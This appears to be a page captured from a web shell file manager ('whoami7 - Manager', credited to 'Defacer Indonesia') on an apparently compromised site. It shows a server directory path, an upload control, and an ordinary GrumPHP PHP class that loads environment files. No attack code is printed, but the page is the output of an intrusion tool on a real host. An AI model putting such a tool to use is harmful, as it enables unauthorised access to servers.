whoami7 - Manager
:
/
home
/
kckglobal
/
www
/
portal
/
vendor
/
phpro
/
grumphp
/
src
/
Configuration
/
Environment
/
Upload File:
files >> /home/kckglobal/www/portal/vendor/phpro/grumphp/src/Configuration/Environment/DotEnvRegistrar.php
<?php declare(strict_types=1); namespace GrumPHP\Configuration\Environment; use GrumPHP\Configuration\Model\EnvConfig; use Symfony\Component\Dotenv\Dotenv; class DotEnvRegistrar { public static function register(EnvConfig $config): void { $env = new Dotenv(); if ($config->hasFiles()) { /** @psalm-suppress InvalidArgument - Psalm types in Dotenv class are not valid currently */ $env->overload(...$config->getFiles()); } if ($config->hasVariables()) { $env->populate($config->getVariables(), true); } } }
Copyright ©2021 || Defacer Indonesia